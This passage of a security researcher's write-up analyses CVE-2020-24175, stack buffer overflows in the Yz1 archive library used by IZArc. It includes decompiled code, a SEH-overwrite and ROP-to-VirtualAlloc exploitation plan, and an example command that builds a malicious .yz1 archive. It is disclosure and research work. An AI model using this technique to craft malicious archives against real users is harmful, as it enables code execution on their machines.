03955380 abababab feababab 00000000 00000000 ................ 192 | 03955390 1dfe6d47 2000c430 000b0001 000b0004 Gm..0.. ........ 193 | 039553a0 000b0003 000b000b 000b000b 000b000b ................ 194 | ``` 195 | 196 | In the last memory display, we see that the first three DWORDs 197 | correspond with the file sizes in big-endian (0x25, 0x1d, 0x21). After 198 | that are three DWORDs that I'm too lazy to figure out what they mean 199 | (yes, there really are three -- notice that the file named `aaaa.txt` 200 | has 4 0x61). And finally are the NUL-separated filenames. 201 | 202 | This chunk of memory is then processed in a method with the following 203 | signature: 204 | 205 | ```cpp 206 | yzDecHead *__thiscall yzDecHead(yzDecHead *this, 207 | uchar *x_filenames, /* chunk dumped above */ 208 | long *x_fileCount, /* 0x3 */ 209 | yzFileEv *x_yzFileEv, 210 | long *x_filenameSize, /* 0x4f */ 211 | bool *x_success); 212 | ``` 213 | 214 | The bounds for each filename is retrieved with the following C-ish code: 215 | 216 | ```c 217 | /* 218 | * 0x1000d2fd 219 | */ 220 | DVar8 = *x_fileCount; 221 | [...] 222 | if ((uint)*x_filenameSize < DVar8 * 0xc) { 223 | [...] 224 | } else { 225 | x_fileCount = (long *)(x_filenames + DVar8 * 8); /* adjust for metadata */ 226 | [...] 227 | uVar9 = 0; 228 | plVar7 = x_fileCount; 229 | while ((plVar7 < x_filenames + *x_filenameSize && 230 | (*(uchar *)plVar7 != '\0'))) { 231 | plVar7 = (long *)((int)plVar7 + 1); 232 | uVar9 = uVar9 + 1; 233 | } 234 | [...] 235 | ``` 236 | 237 | With our example archive, `*x_fileCount` is 3 and `*x_filenameSize` is 238 | 0x4f. The reuse of `x_fileCount` in the decompilation looks weird, but 239 | `x_filenames + DVar8 * 8` adjusts for the initial `x_fileCount * 240 | sizeof(DWORD) * 2` of metadata in the `x_filenames` buffer. 241 | 242 | As can be seen, it doesn't matter how long any of the filenames are, so 243 | long as a NUL-byte is encountered somewhere in the `x_filenames` chunk 244 | (otherwise we'd run into an out-of-bounds read). 245 | 246 | Even so, `Yz1` operates under the assumption that filenames are limited 247 | to `FNAME_MAX32` bytes. From the publically available [Yz1.h][10]: 248 | 249 | ```c 250 | #if !defined(FNAME_MAX32) 251 | #define FNAME_MAX32 512 252 | #define FNAME_MAX FNAME_MAX32 253 | #else 254 | #if !defined(FNAME_MAX) 255 | #define FNAME_MAX 128 256 | #endif 257 | #endif 258 | ``` 259 | 260 | After `yzFileDecode::YzFile_DecodeHeader` and `yzDecHead::yzDecHead` has 261 | decoded and processed the header and filenames, the filenames are stored 262 | with their actual lengths for later use. This information is used when 263 | extracting the archive and/or listing its files with this exported 264 | structure and these functions: 265 | 266 | ```c 267 | typedef struct { 268 | DWORD dwOriginalSize; 269 | DWORD dwCompressedSize; 270 | DWORD dwCRC; 271 | UINT uFlag; 272 | UINT uOSType; 273 | WORD wRatio; 274 | WORD wDate; 275 | WORD wTime; 276 | char szFileName[FNAME_MAX32 + 1]; 277 | char dummy1[3]; 278 | char szAttribute[8]; 279 | char szMode[8]; 280 | } INDIVIDUALINFO, FAR *LPINDIVIDUALINFO; 281 | 282 | int Yz1FindFirst(HARC x_harc, LPCSTR x_pattern, LPINDIVIDUALINFO x_dst); 283 | int Yz1FindNext(HARC x_harc, LPINDIVIDUALINFO x_dst); 284 | ``` 285 | 286 | Both of these functions invoke a method starting at `0x10002de0` that 287 | enforce the `FNAME_MAX32` (512/0x200) byte limit (sorry for the lack of 288 | cleanup!): 289 | 290 | ```c 291 | [...] 292 | /* 293 | * LAB_10002f17 294 | */ 295 | if (*(uint *)(*(int *)(iVar3 + 0x10) + 0x14 + uVar2 * 0x1c) < 0x200) { 296 | iVar3 = x_getPathInstance((cls_10002bc0 *) 297 | (*(int *)(this->mbr_34 + 4) + 0xc),this->mbr_48); 298 | /* 299 | * NOTE: This is not important right now, but it will matter during 300 | * exploitation. Filenames shorter than 0x10 bytes are stored 301 | * inline at iVar3 + 4. Filenames GTE 0x10 are allocated a separate 302 | * buffer whose address is stored at iVar3 + 4. 303 | */ 304 | if (*(uint *)(iVar3 + 0x18) < 0x10) { 305 | x_filenameSrc = (char *)(iVar3 + 4); 306 | } 307 | else { 308 | x_filenameSrc = *(char **)(iVar3 + 4); 309 | } 310 | x_filenameDst = x_dst->szFileName; 311 | do { 312 | x_chr = *x_filenameSrc; 313 | *x_filenameDst = x_chr; 314 | x_filenameSrc = x_filenameSrc + 1; 315 | x_filenameDst = x_filenameDst + 1; 316 | } while (x_chr != '\0'); 317 | } 318 | else { 319 | /* 320 | * x_dst->szFileName = "too_long_file_name\0" 321 | */ 322 | *(undefined4 *)x_dst->szFileName = 0x5f6f6f74; /* _oot */ 323 | *(undefined4 *)(x_dst->szFileName + 4) = 0x676e6f6c; /* gnol */ 324 | *(undefined4 *)(x_dst->szFileName + 8) = 0x6c69665f; /* lif_ */ 325 | *(undefined4 *)(x_dst->szFileName + 0xc) = 0x616e5f65; /* an_e */ 326 | *(undefined2 *)(x_dst->szFileName + 0x10) = 0x656d; /* em */ 327 | x_dst->szFileName[0x12] = '\0'; 328 | } 329 | [...] 330 | ``` 331 | 332 | 333 | A stack-based buffer overflow 334 | ----------------------------- 335 | 336 | Not all code paths pay attention to the recorded lengths of the 337 | filenames. The one my fuzzer ran into is a function that starts at 338 | `0x10005080`. It `sprintf(..., "expanding %s", ...)` with the file 339 | currently being extracted for a logging message. 340 | 341 | It's kind of interesting too, because -- similar to the snippet above -- 342 | the call to `sprintf()` also checks whether the filename is inline (that 343 | is, if its length is below 0x10). But it doesn't check that the 344 | filename is below `FNAME_MAX32`. 345 | 346 | ```c 347 | /* 348 | * 100055b5 349 | */ 350 | if (this_00->mbr_18 < 0x10) { 351 | pDVar6 = &this_00->mbr_4; 352 | } 353 | else { 354 | pDVar6 = (DWORD *)this_00->mbr_4; 355 | } 356 | _sprintf(&local_264,"expanding %s",pDVar6) 357 | ``` 358 | 359 | 360 | Mo' bugs mo' problems 361 | --------------------- 362 | 363 | In working to exploit the fuzzed bug in the last section, I ran into a 364 | situation where we had written N bytes on the stack before the first 365 | `[RJC]OP` gadget. However, after the first gadget we could only write a 366 | handful of subsequent gadgets. Otherwise, we'd run into another bug 367 | earlier in the extraction process. 368 | 369 | Similar to the previous flaw, this flaw is caused by a stack overflow. 370 | It happens in `yzFileDecode::DecodeFile`. Ghidra produces a somewhat 371 | wonky decompilation of this method, so the following C-ish code has been 372 | rewritten for clarity (at the expense of not being an accurate 373 | representation of its disassembly -- although the important locations 374 | are commented): 375 | 376 | ```cpp 377 | /* 378 | * 1000eec0 379 | */ 380 | int yzFileDecode::DecodeFile(char *param_1, int *param_2) 381 | { 382 | int rc; 383 | int duplicateCount = 0; 384 | unsigned int i = 0; 385 | char buf[XXX]; 386 | 387 | [...]; 388 | 389 | /* 390 | * LAB_1000efa0 391 | */ 392 | do { 393 | if (this->x_yzDecHead->filenames == NULL) { 394 | [...]; 395 | } 396 | 397 | /* 398 | * 1000f170 399 | */ 400 | _sprintf(buf, "%s%s", this->x_dirname, 401 | this->x_yzDecHead->x_filename[4 + i * 0x1c]); 402 | 403 | rc = x_hasFile(buf); 404 | if (rc) { 405 | duplicateCount += 1; 406 | } 407 | } while (i < this->x_yzDecHead->x_fileCount); /* 1000f02e */ 408 | 409 | [...]; 410 | 411 | /* 412 | * 1000f036 413 | */ 414 | if (duplicateCount > 0) { 415 | x_overwriteWarning(); 416 | } 417 | 418 | [...]; 419 | } 420 | ``` 421 | 422 | In the snippet above, each filename in the archive is checked for 423 | existence on disk. If it already exist, a warning message *may be* 424 | presented to the user (`Yz1` only shows GUI messages if it's been given 425 | a `HWND`). 426 | 427 | As with the previous bug, the call to `sprintf()` is unchecked. If a 428 | path in `1000f170` is large enough, we'll overflow the stack. 429 | 430 | However, one major issue with this flaw is that the call to `sprintf()` 431 | at `1000f170` prepends the extraction directory to the filename. This 432 | complicates exploitation. It also makes it difficult to exploit the 433 | first bug mentioned in this writeup because this bug could be triggered 434 | earlier in the execution if the user chooses a long extraction 435 | directory. 436 | 437 | With that in mind, one positive aspect of this bug is that we can 438 | overwrite `this->x_yzDecHead` and cause an invalid memory access in the 439 | `do-while()` conditional. This leads to quick control of execution if 440 | we overwrite a SEH. So this is the bug that's exploited in the PoC. 441 | 442 | 443 | Sploitin' like its the 00s 444 | -------------------------- 445 | 446 | There are two important aspects of the decoding process of the archive 447 | header and its filenames: 448 | 449 | 1. As mentioned above, filenames are separated by their terminating 450 | NUL-byte in the initial processing. 451 | 2. The chunk referenced as `x_filenames` above will contain as much 452 | decoded data as is specified by the third DWORD in the archive header 453 | (excl. leading metadata). 454 | 455 | As will be seen in the PoC, I haven't bothered reverse engineering and 456 | reimplementing the (de|en)coding algorithm (presumably based on 457 | Huffman). However, it seems that the archive filenames and their 458 | content are adjacent each other such that: 459 | 460 | ``` 461 | - filename_0 462 | - filename_1 463 | - filename_2 464 | - ... 465 | - content_of_filename_0 466 | - content_of_filename_1 467 | - content_of_filename_2 468 | - ... 469 | ``` 470 | 471 | If we'd modify the third DWORD in the header (0x4F in the demonstrative 472 | archive above) to a larger value, the buffer referenced as `x_filenames` 473 | would not only contain the decoded filenames, but also (part of, 474 | depending on the value) their decoded contents. 475 | 476 | This means that we can use the `Yz1` library itself to write our exploit 477 | for the unchecked calls to `sprintf()`. The general approach looks 478 | like: 479 | 480 | 1. Create an archive with N files. 481 | 2. Set a breakpoint *before* the filenames are encoded, but *after* the 482 | metadata has been constructed. 483 | 3. Remove the terminating NUL-byte for one of the filenames (effectively 484 | concatenating them). 485 | 4. Let the process finish. 486 | 5. Increase the third DWORD in the header to a size that includes the 487 | length of all file content. 488 | 489 | The result is that the decoding process will interpret file contents as 490 | filenames. This gives us ample opportunity to create a source buffer 491 | large enough to overflow the stack in the call to `sprintf()`. 492 | 493 | The PoC creation is accomplished with [pykd][8] -- which is not only a 494 | plugin for `WinDbg` but also very usable as a standalone Python module 495 | for automated debugging. 496 | 497 | As for exploit mitigations, the changelog for `IZArc` mentions that ASLR 498 | and DEP was introduced in `IZArc` version 4.3. However, that only 499 | applies to the main executable and *some* plugins (presumably the 500 | plugins for which the author has access to the source code). 501 | 502 | With that said, only two of the shipped modules are non-rebased: 503 | `Tar32.dll` and `cabinet5.dll`. 504 | 505 | Anyway, after having removed the `NUL` between two filenames in the 506 | archive, the file contents that will later be interpreted as a filename 507 | will contain the following: 508 | 509 | 1. Enough data to overflow the stack (incl. SEH). 510 | 2. A SEH gadget that adjusts `esp` and returns into our ROP sled. 511 | 3. Gadgets that prepares the stack with appropriate arguments for 512 | `VirtualAlloc()` 513 | 4. Gadget to invoke `VirtualAlloc()` by using its IAT slot in 514 | `Tar32.dll`. 515 | 5. Our shellcode. 516 | 517 | Unfortunately, it's difficult to write a reliable exploit due to the 518 | extraction directory being prepended to our overflowing "filename". The 519 | approach taken in the PoC is to spray the SEH overwrite after adjusting 520 | the initial bogus data in an attempt for the overwrite to land on an 521 | appropriate DWORD boundary. The alignment is done in the interval 522 | `[0,4)` -- i.e. `len(path) % 4` (where `path` includes the trailing 523 | `\`). So, there's a 1 in 4 shot for success if the extraction path is 524 | unpredictable. 525 | 526 | 527 | Demonstration 528 | ------------- 529 | 530 | Because the PoC uses `Yz1.dll` and `pykd` to create the payload, and 531 | because `Yz1.dll` is a 32-bit Windows-only module, the payload has to be 532 | created on a Windows system with a 32-bit Python >=3.6. 533 | 534 | Example: 535 | 536 | ```sh 537 | > "C:\Program Files (x86)\Python38\python.exe" exploit.py \ 538 | --dll "C:\Program Files (x86)\IZArc\Yz1.dll" \ 539 | --output C:\Users\user\Downloads\archive.yz1 \ 540 | --align C:\Users\user\Downloads\archive 541 | => created: C:\Users\user\Downloads\archive.yz1 542 | => extraction path alignment: 0 543 | ``` 544 | 545 | Note that `--align` can also be an integer `[0, 4)` or left out 546 | completely (in which case it's derived from the `--output` path). 547 | 548 | ![gif][11] 549 | 550 | See [source][12]. 551 | 552 | 553 | Solution 554 | -------- 555 | 556 | These flaws were assigned CVE-2020-24175 and no solution exist for 557 | either [Yz1][0] or [IZArc][2] at the time of writing. 558 | 559 | 560 | 561 | [0]: https://www.madobe.net/archiver/lib/yz1.html 562 | [1]: https://ja.wikipedia.org/wiki/DeepFreezer 563 | [2]: https://www.izarc.org/ 564 | [3]: http://zipgenius.com/ 565 | [4]: https://gist.github.com/illikainen/6f228c42b77c21c1e2954966b54179fc 566 | [5]: https://gist.github.com/illikainen/b33fbc933246981ce49d8d62aabd43cf 567 | [6]: https://ghidra-sre.org/ 568 | [7]: https://github.com/cmu-sei/pharos 569 | [8]: https://githomelab.ru/pykd/pykd 570 | [9]: https://www.ponsoftware.com/en/ 571 | [10]: https://gist.github.com/illikainen/16ce066720e58dffd8a80fffe877df14 572 | [12]: https://github.com/illikainen/exploits/tree/master/CVE-2020-24175 573 | [11]: https://raw.githubusercontent.com/illikainen/exploits/master/CVE-2020-24175/exploit.gif 574 | --------------------------------------------------------------------------------